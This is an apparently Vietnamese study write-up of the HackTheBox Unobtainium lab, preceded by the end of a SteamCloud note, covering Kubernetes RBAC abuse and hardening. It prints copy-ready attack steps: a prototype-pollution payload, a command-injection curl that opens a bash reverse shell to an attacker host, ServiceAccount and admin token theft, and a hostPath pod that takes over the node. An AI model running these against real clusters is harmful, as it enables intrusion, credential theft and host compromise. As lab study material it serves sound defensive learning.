<h3 id="13-mapping-với-đề-tài-vdt">13. Mapping với đề tài VDT</h3>

<p>Bài này khớp tốt với hướng <strong>Kubernetes privilege escalation do misconfiguration</strong>:</p>

<table>
  <thead>
    <tr>
      <th>Giai đoạn</th>
      <th>Kỹ thuật</th>
      <th>Ý nghĩa trong đề tài</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Recon</td>
      <td>Scan port K8s</td>
      <td>Nhận diện API Server, Kubelet, etcd</td>
    </tr>
    <tr>
      <td>Initial Access</td>
      <td>Kubelet anonymous/weak access</td>
      <td>Thực thi lệnh trong pod qua Kubelet</td>
    </tr>
    <tr>
      <td>Credential Access</td>
      <td>ServiceAccount token</td>
      <td>Lấy credential mặc định được mount trong pod</td>
    </tr>
    <tr>
      <td>Privilege Discovery</td>
      <td><code class="language-plaintext highlighter-rouge">kubectl auth can-i --list</code></td>
      <td>Kiểm tra quyền RBAC hiện có</td>
    </tr>
    <tr>
      <td>Privilege Escalation</td>
      <td><code class="language-plaintext highlighter-rouge">create pods</code> + <code class="language-plaintext highlighter-rouge">hostPath</code></td>
      <td>Tạo pod độc hại mount filesystem host</td>
    </tr>
    <tr>
      <td>Impact</td>
      <td>Đọc <code class="language-plaintext highlighter-rouge">/root/root.txt</code>, SSH root</td>
      <td>Kiểm soát node/host</td>
    </tr>
  </tbody>
</table>

<h3 id="14-detection--hardening-rút-ra">14. Detection / Hardening rút ra</h3>

<p>Các điểm phòng thủ nên đưa vào phần demo hoặc báo cáo:</p>

<ul>
  <li>Không expose Kubelet API ra ngoài network không tin cậy.</li>
  <li>Tắt hoặc hạn chế anonymous access vào Kubelet.</li>
  <li>Bật Kubelet authentication/authorization đúng cách.</li>
  <li>RBAC theo nguyên tắc least privilege, không cấp <code class="language-plaintext highlighter-rouge">create pods</code> bừa bãi.</li>
  <li>Dùng Pod Security Admission/Kyverno/Gatekeeper để chặn:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">hostPath</code> mount <code class="language-plaintext highlighter-rouge">/</code></li>
      <li><code class="language-plaintext highlighter-rouge">hostNetwork: true</code></li>
      <li><code class="language-plaintext highlighter-rouge">hostPID: true</code></li>
      <li><code class="language-plaintext highlighter-rouge">privileged: true</code></li>
    </ul>
  </li>
  <li>Tắt <code class="language-plaintext highlighter-rouge">automountServiceAccountToken</code> nếu pod không cần gọi Kubernetes API:</li>
</ul>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">automountServiceAccountToken</span><span class="pi">:</span> <span class="no">false</span>
</code></pre></div></div>

<ul>
  <li>Giám sát hành vi runtime bằng Falco/Tetragon. Các event đáng chú ý:
    <ul>
      <li>Pod mới có <code class="language-plaintext highlighter-rouge">hostPath</code> mount <code class="language-plaintext highlighter-rouge">/</code>.</li>
      <li>Pod bật <code class="language-plaintext highlighter-rouge">hostNetwork</code> hoặc <code class="language-plaintext highlighter-rouge">privileged</code>.</li>
      <li>Truy cập file ServiceAccount token.</li>
      <li>Exec bất thường vào container qua Kubelet.</li>
    </ul>
  </li>
</ul>

<h3 id="15-takeaway">15. Takeaway</h3>

<p>SteamCloud cho thấy một lesson rất quan trọng: <strong>không cần CVE vẫn có thể chiếm node Kubernetes nếu Kubelet/RBAC/Pod Security bị cấu hình sai</strong>. Một ServiceAccount tưởng như chỉ có quyền <code class="language-plaintext highlighter-rouge">create pods</code> trong namespace <code class="language-plaintext highlighter-rouge">default</code> vẫn có thể bị lạm dụng để tạo pod mount filesystem của host, từ đó đọc flag hoặc cài SSH key để lấy root shell.</p>

<h2 id="htb-unobtainium---rbac-abuse--secret-access--malicious-pod">HTB Unobtainium - RBAC Abuse + Secret Access + Malicious Pod</h2>

<blockquote>
  <p><strong>Nguồn tham khảo:</strong> https://0xdf.gitlab.io/2021/09/04/htb-unobtainium.html<br />
<strong>Độ khó:</strong> Hard</p>
</blockquote>

<h3 id="1-tổng-quan-chain-khai-thác">1. Tổng quan chain khai thác</h3>

<p>Unobtainium là bài Kubernetes khó hơn SteamCloud vì không đơn giản là có ngay quyền tạo pod. Luồng chính:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Web/Electron app reverse
→ LFI / lấy source + credential
→ Prototype Pollution
→ Command Injection
→ RCE vào container webapp
→ Lấy ServiceAccount token default
→ Enumerate RBAC
→ Tìm namespace dev và pod devnode
→ RCE tiếp vào devnode container
→ Lấy dev ServiceAccount token
→ dev token có quyền get/list secrets trong kube-system
→ Đọc c-admin service account token
→ c-admin có quyền *.* [*]
→ Tạo malicious pod mount hostPath /
→ Đọc root.txt / kiểm soát host filesystem
</code></pre></div></div>

<p>Điểm cần học cho đề tài VDT:</p>

<ul>
  <li><strong>ServiceAccount token trong pod là credential thật</strong> để gọi Kubernetes API.</li>
  <li><strong>RBAC theo namespace có thể tạo đường pivot</strong>: token A không mạnh ở namespace <code class="language-plaintext highlighter-rouge">default</code>, nhưng lại có quyền hữu ích ở namespace <code class="language-plaintext highlighter-rouge">dev</code>.</li>
  <li><strong>Quyền <code class="language-plaintext highlighter-rouge">get/list secrets</code> trong <code class="language-plaintext highlighter-rouge">kube-system</code> cực kỳ nguy hiểm</strong>, vì có thể đọc token của ServiceAccount mạnh hơn.</li>
  <li>Sau khi có token admin, kỹ thuật kết thúc giống SteamCloud: tạo pod mount filesystem host.</li>
</ul>

<h3 id="2-recon-kubernetes">2. Recon Kubernetes</h3>

<p>Nmap thấy nhiều port quen thuộc của Kubernetes/minikube:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>22/tcp     ssh
80/tcp     web
2379/tcp   etcd-client
2380/tcp   etcd-server
8443/tcp   Kubernetes API Server
10250/tcp  Kubelet API
10256/tcp  kube-proxy healthz
31337/tcp  Node.js Express API
</code></pre></div></div>

<p>Port <code class="language-plaintext highlighter-rouge">8443</code> trả JSON kiểu Kubernetes API và báo <code class="language-plaintext highlighter-rouge">system:anonymous</code> bị forbidden, xác nhận đây là API Server:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>forbidden: User "system:anonymous" cannot get path "/"
</code></pre></div></div>

<h3 id="3-phần-rce-ban-đầu---ghi-sơ">3. Phần RCE ban đầu - ghi sơ</h3>

<p>Bài gốc có phần reverse Electron package để lấy source/credential. Sau đó tìm được API Node.js có logic upload bị ảnh hưởng bởi prototype pollution.</p>

<p>Ý tưởng ngắn:</p>

<ol>
  <li>Dùng credential hợp lệ để gửi message.</li>
  <li>Prototype pollution set <code class="language-plaintext highlighter-rouge">canUpload: true</code>.</li>
  <li>Route <code class="language-plaintext highlighter-rouge">/upload</code> gọi command xử lý file nhưng nối <code class="language-plaintext highlighter-rouge">filename</code> không an toàn.</li>
  <li>Inject command qua <code class="language-plaintext highlighter-rouge">filename</code> để có RCE.</li>
</ol>

<p>Payload bật quyền upload:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> PUT http://10.10.10.235:31337/ <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"auth":{"name":"felamos","password":"Winter2021"},"message":{"test":"x","__proto__":{"canUpload":true}}}'</span>
</code></pre></div></div>

<p>Payload command injection để reverse shell:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> POST http://10.10.10.235:31337/upload <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"auth":{"name":"felamos","password":"Winter2021"},"filename":"x; bash -c \"bash &gt;&amp; /dev/tcp/&lt;ATTACKER_IP&gt;/443 0&gt;&amp;1\""}'</span>
</code></pre></div></div>

<p>Nhận shell trong pod webapp:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@webapp-deployment-...:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)
</code></pre></div></div>

<p>Lưu ý: <code class="language-plaintext highlighter-rouge">root</code> ở đây vẫn là root <strong>trong container</strong>, chưa phải root của node.</p>

<h3 id="4-lấy-token-trong-webapp-container">4. Lấy token trong webapp container</h3>

<p>Trong pod, kiểm tra ServiceAccount token:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> /run/secrets/kubernetes.io/serviceaccount/
<span class="nb">cat</span> /run/secrets/kubernetes.io/serviceaccount/token
<span class="nb">cat</span> /run/secrets/kubernetes.io/serviceaccount/ca.crt
<span class="nb">cat</span> /run/secrets/kubernetes.io/serviceaccount/namespace
</code></pre></div></div>

<p>Các file thường gặp:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ca.crt
namespace
token
</code></pre></div></div>

<p>Lưu token ra máy attacker, ví dụ:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /run/secrets/kubernetes.io/serviceaccount/token <span class="o">&gt;</span> default-token
<span class="nb">cat</span> /run/secrets/kubernetes.io/serviceaccount/ca.crt <span class="o">&gt;</span> ca.crt
</code></pre></div></div>

<p>Dùng token gọi API Server:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>default-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt <span class="se">\</span>
  get pods <span class="nt">--all-namespaces</span>
</code></pre></div></div>

<p>Ban đầu bị forbidden với pods toàn cluster, nhưng phản hồi này vẫn chứng minh token dùng được với API Server.</p>

<h3 id="5-enumerate-rbac-với-token-default">5. Enumerate RBAC với token default</h3>

<p>Kiểm tra quyền trong namespace hiện tại:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl auth can-i <span class="nt">--list</span> <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>default-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Token default có quyền đáng chú ý:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>namespaces    [get list]
</code></pre></div></div>

<p>List namespace:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get namespaces <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>default-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Kết quả có namespace <code class="language-plaintext highlighter-rouge">dev</code>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>default
_dev_
kube-node-lease
kube-public
kube-system
</code></pre></div></div>

<p>Kiểm tra quyền theo namespace:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl auth can-i <span class="nt">--list</span> <span class="nt">-n</span> dev <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>default-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Trong namespace <code class="language-plaintext highlighter-rouge">dev</code>, token default có thêm quyền:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>namespaces    [get list]
pods          [get list]
</code></pre></div></div>

<p>Đây là pivot đầu tiên: token không tạo được pod, không đọc secret, nhưng có thể <strong>liệt kê pod ở namespace dev</strong>.</p>

<h3 id="6-tìm-pod-devnode-trong-namespace-dev">6. Tìm pod devnode trong namespace dev</h3>

<p>List pod trong namespace <code class="language-plaintext highlighter-rouge">dev</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pods <span class="nt">-n</span> dev <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>default-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Kết quả có các pod dạng:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>devnode-deployment-cd86fb5c-6ms8d
devnode-deployment-cd86fb5c-mvrfz
devnode-deployment-cd86fb5c-qlxww
</code></pre></div></div>

<p>Describe pod để lấy IP/container/image:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl describe pod devnode-deployment-cd86fb5c-qlxww <span class="nt">-n</span> dev <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>default-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Thông tin đáng chú ý:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Namespace: dev
IP: 172.17.0.4
Image: localhost:5000/node_server
Port: 3000/TCP
Mounts: /var/run/secrets/kubernetes.io/serviceaccount
</code></pre></div></div>

<p>Từ shell webapp container có thể reach pod devnode qua IP nội bộ. Scan/ping thấy port <code class="language-plaintext highlighter-rouge">3000</code> mở.</p>

<h3 id="7-rce-sang-devnode-container">7. RCE sang devnode container</h3>

<p>Ứng dụng ở devnode chạy cùng code/vuln Node.js nên có thể dùng lại chain prototype pollution + command injection.</p>

<p>Từ webapp container, bật <code class="language-plaintext highlighter-rouge">canUpload</code> trên devnode:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> PUT http://172.17.0.3:3000/ <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"auth":{"name":"felamos","password":"Winter2021"},"message":{"test":"x","__proto__":{"canUpload":true}}}'</span>
</code></pre></div></div>

<p>Inject reverse shell:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> POST http://172.17.0.3:3000/upload <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"auth":{"name":"felamos","password":"Winter2021"},"filename":"x; bash -c \"bash &gt;&amp; /dev/tcp/&lt;ATTACKER_IP&gt;/443 0&gt;&amp;1\""}'</span>
</code></pre></div></div>

<p>Nhận shell mới:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@devnode-deployment-cd86fb5c-6ms8d:/# id
uid=0(root) gid=0(root) groups=0(root)
</code></pre></div></div>

<p>Kiểm tra namespace của pod mới:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /run/secrets/kubernetes.io/serviceaccount/namespace
</code></pre></div></div>

<p>Kết quả:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dev
</code></pre></div></div>

<h3 id="8-lấy-dev-token-và-kiểm-tra-rbac">8. Lấy dev token và kiểm tra RBAC</h3>

<p>Lấy token trong devnode:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /run/secrets/kubernetes.io/serviceaccount/token <span class="o">&gt;</span> dev-token
</code></pre></div></div>

<p>Kiểm tra quyền token này:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl auth can-i <span class="nt">--list</span> <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>dev-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Ở namespace <code class="language-plaintext highlighter-rouge">dev</code> không có gì quá mạnh. Nhưng khi kiểm tra namespace <code class="language-plaintext highlighter-rouge">kube-system</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl auth can-i <span class="nt">--list</span> <span class="nt">-n</span> kube-system <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>dev-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Phát hiện quyền cực kỳ quan trọng:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>secrets    [get list]
</code></pre></div></div>

<p>Đây là lỗi RBAC chính của bài: ServiceAccount trong namespace <code class="language-plaintext highlighter-rouge">dev</code> lại có quyền đọc secrets trong <code class="language-plaintext highlighter-rouge">kube-system</code>.</p>

<h3 id="9-đọc-serviceaccount-token-mạnh-hơn-trong-kube-system">9. Đọc ServiceAccount token mạnh hơn trong kube-system</h3>

<p>List secrets trong <code class="language-plaintext highlighter-rouge">kube-system</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get secrets <span class="nt">-n</span> kube-system <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>dev-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Trong danh sách có secret đáng chú ý:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>c-admin-token-tfmp2    kubernetes.io/service-account-token
</code></pre></div></div>

<p>Describe secret để lấy token:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl describe secret c-admin-token-tfmp2 <span class="nt">-n</span> kube-system <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>dev-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Secret này thuộc ServiceAccount:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubernetes.io/service-account.name: c-admin
</code></pre></div></div>

<p>Lưu token admin ra file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># copy phần token trong output vào file</span>
nano cadmin-token
</code></pre></div></div>

<p>Hoặc dùng jsonpath nếu API trả đủ data:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get secret c-admin-token-tfmp2 <span class="nt">-n</span> kube-system <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>dev-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt <span class="se">\</span>
  <span class="nt">-o</span> <span class="nv">jsonpath</span><span class="o">=</span><span class="s1">'{.data.token}'</span> | <span class="nb">base64</span> <span class="nt">-d</span> <span class="o">&gt;</span> cadmin-token
</code></pre></div></div>

<h3 id="10-xác-nhận-quyền-admin">10. Xác nhận quyền admin</h3>

<p>Kiểm tra quyền của <code class="language-plaintext highlighter-rouge">cadmin-token</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl auth can-i <span class="nt">--list</span> <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>cadmin-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Kết quả quan trọng:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*.*    []    []    [*]
[*]    []    [*]
</code></pre></div></div>

<p>Nghĩa là token này có quyền full admin trên cluster.</p>

<p>Có thể list pods toàn cluster:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pods <span class="nt">--all-namespaces</span> <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>cadmin-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<h3 id="11-tìm-image-local-để-tạo-malicious-pod">11. Tìm image local để tạo malicious pod</h3>

<p>Vì box không có internet, không nên dùng image từ Docker Hub. Tìm image đang có sẵn trong cluster:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pods <span class="nt">--all-namespaces</span> <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>cadmin-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Dump YAML từng pod để tìm image:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pod &lt;pod-name&gt; <span class="nt">-o</span> yaml <span class="nt">-n</span> &lt;namespace&gt; <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>cadmin-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt | <span class="nb">grep</span> <span class="s1">'image:'</span>
</code></pre></div></div>

<p>Các image có sẵn:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>localhost:5000/dev-alpine
localhost:5000/node_server
</code></pre></div></div>

<p>Chọn <code class="language-plaintext highlighter-rouge">localhost:5000/dev-alpine</code> vì nhẹ và có shell.</p>

<h3 id="12-tạo-malicious-pod-mount-filesystem-host">12. Tạo malicious pod mount filesystem host</h3>

<p>Tạo <code class="language-plaintext highlighter-rouge">root.yaml</code>:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">Pod</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">evil-pod</span>
  <span class="na">namespace</span><span class="pi">:</span> <span class="s">kube-system</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">containers</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">evil</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">localhost:5000/dev-alpine</span>
    <span class="na">command</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">/bin/sh"</span><span class="pi">]</span>
    <span class="na">args</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">-c"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">sleep</span><span class="nv"> </span><span class="s">300000"</span><span class="pi">]</span>
    <span class="na">volumeMounts</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">mountPath</span><span class="pi">:</span> <span class="s">/mnt</span>
      <span class="na">name</span><span class="pi">:</span> <span class="s">hostfs</span>
  <span class="na">volumes</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">hostfs</span>
    <span class="na">hostPath</span><span class="pi">:</span>
      <span class="na">path</span><span class="pi">:</span> <span class="s">/</span>
  <span class="na">automountServiceAccountToken</span><span class="pi">:</span> <span class="no">true</span>
  <span class="na">hostNetwork</span><span class="pi">:</span> <span class="no">true</span>
</code></pre></div></div>

<p>Giải thích:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">namespace: kube-system</code>: đã có admin nên có thể tạo pod ở namespace nhạy cảm.</li>
  <li><code class="language-plaintext highlighter-rouge">image: localhost:5000/dev-alpine</code>: dùng image local có sẵn.</li>
  <li><code class="language-plaintext highlighter-rouge">hostPath.path: /</code>: mount root filesystem của node.</li>
  <li><code class="language-plaintext highlighter-rouge">mountPath: /mnt</code>: trong container, host filesystem nằm ở <code class="language-plaintext highlighter-rouge">/mnt</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">sleep 300000</code>: giữ container sống để còn <code class="language-plaintext highlighter-rouge">kubectl exec</code> vào.</li>
  <li><code class="language-plaintext highlighter-rouge">hostNetwork: true</code>: dùng network namespace của host.</li>
</ul>

<p>Apply pod:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl apply <span class="nt">-f</span> root.yaml <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>cadmin-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt
</code></pre></div></div>

<p>Exec vào pod:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl <span class="nb">exec </span>evil-pod <span class="nt">--stdin</span> <span class="nt">--tty</span> <span class="nt">-n</span> kube-system <span class="se">\</span>
  <span class="nt">--token</span> <span class="si">$(</span><span class="nb">cat </span>cadmin-token<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--server</span> https://10.10.10.235:8443 <span class="se">\</span>
  <span class="nt">--certificate-authority</span> ca.crt <span class="se">\</span>
  <span class="nt">--</span> /bin/sh
</code></pre></div></div>

<p>Đọc root flag:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /mnt/root
<span class="nb">cat </span>root.txt
</code></pre></div></div>

<h3 id="13-điểm-khác-với-steamcloud">13. Điểm khác với SteamCloud</h3>

<table>
  <thead>
    <tr>
      <th>Nội dung</th>
      <th>SteamCloud</th>
      <th>Unobtainium</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Initial K8s access</td>
      <td>Kubelet API cho exec trực tiếp vào nginx</td>
      <td>RCE webapp qua app vuln</td>
    </tr>
    <tr>
      <td>Token đầu tiên</td>
      <td>Token trong nginx pod</td>
      <td>Token trong webapp pod</td>
    </tr>
    <tr>
      <td>RBAC ban đầu</td>
      <td>Có <code class="language-plaintext highlighter-rouge">create pods</code> ngay trong default</td>
      <td>Chỉ list namespace, list pod ở dev</td>
    </tr>
    <tr>
      <td>Pivot chính</td>
      <td>Tạo pod mount hostPath trực tiếp</td>
      <td>Pivot sang dev pod, lấy dev token</td>
    </tr>
    <tr>
      <td>Lỗi RBAC nặng</td>
      <td><code class="language-plaintext highlighter-rouge">create pods</code> quá rộng</td>
      <td>dev token đọc được secrets ở kube-system</td>
    </tr>
    <tr>
      <td>Admin token</td>
      <td>Không cần admin token</td>
      <td>Đọc <code class="language-plaintext highlighter-rouge">c-admin-token</code> từ kube-system</td>
    </tr>
    <tr>
      <td>Root host</td>
      <td>Pod mount <code class="language-plaintext highlighter-rouge">/</code> của host</td>
      <td>Pod mount <code class="language-plaintext highlighter-rouge">/</code> của host</td>
    </tr>
  </tbody>
</table>

<h3 id="14-bài-học-rbac-cho-đề-tài-vdt">14. Bài học RBAC cho đề tài VDT</h3>

<p>Unobtainium minh họa rất rõ một chuỗi leo thang kiểu thực tế:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Pod compromise
→ đọc ServiceAccount token
→ kiểm tra RBAC từng namespace
→ tìm namespace có quyền khác thường
→ pivot sang workload khác
→ lấy token mới
→ đọc secrets nhạy cảm
→ chiếm ServiceAccount admin
→ tạo pod độc hại
→ host filesystem access
</code></pre></div></div>

<p>Các lỗi cấu hình chính:</p>

<ul>
  <li>Pod được tự động mount ServiceAccount token dù app không chắc cần gọi API Server.</li>
  <li>ServiceAccount <code class="language-plaintext highlighter-rouge">default</code> có quyền list namespace và list pods ở <code class="language-plaintext highlighter-rouge">dev</code>, giúp attacker khám phá lateral movement path.</li>
  <li>ServiceAccount ở <code class="language-plaintext highlighter-rouge">dev</code> có quyền <code class="language-plaintext highlighter-rouge">get/list secrets</code> trong <code class="language-plaintext highlighter-rouge">kube-system</code>, đây là quyền cực kỳ nguy hiểm.</li>
  <li>Secret kiểu <code class="language-plaintext highlighter-rouge">kubernetes.io/service-account-token</code> chứa token có thể dùng ngay để impersonate ServiceAccount tương ứng.</li>
  <li>Không có policy chặn pod mount <code class="language-plaintext highlighter-rouge">hostPath: /</code>.</li>
</ul>

<h3 id="15-hardening--detection">15. Hardening / Detection</h3>

<p>Hardening nên ghi vào báo cáo:</p>

<ul>
  <li>Không dùng ServiceAccount <code class="language-plaintext highlighter-rouge">default</code> cho workload thật.</li>
  <li>Tắt mount token nếu app không cần:</li>
</ul>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">automountServiceAccountToken</span><span class="pi">:</span> <span class="no">false</span>
</code></pre></div></div>

<ul>
  <li>RBAC least privilege theo namespace, không cấp <code class="language-plaintext highlighter-rouge">get/list secrets</code> trừ khi thật sự cần.</li>
  <li>Tuyệt đối hạn chế quyền đọc secrets trong <code class="language-plaintext highlighter-rouge">kube-system</code>.</li>
  <li>Dùng short-lived bound tokens thay vì long-lived ServiceAccount token secret nếu có thể.</li>
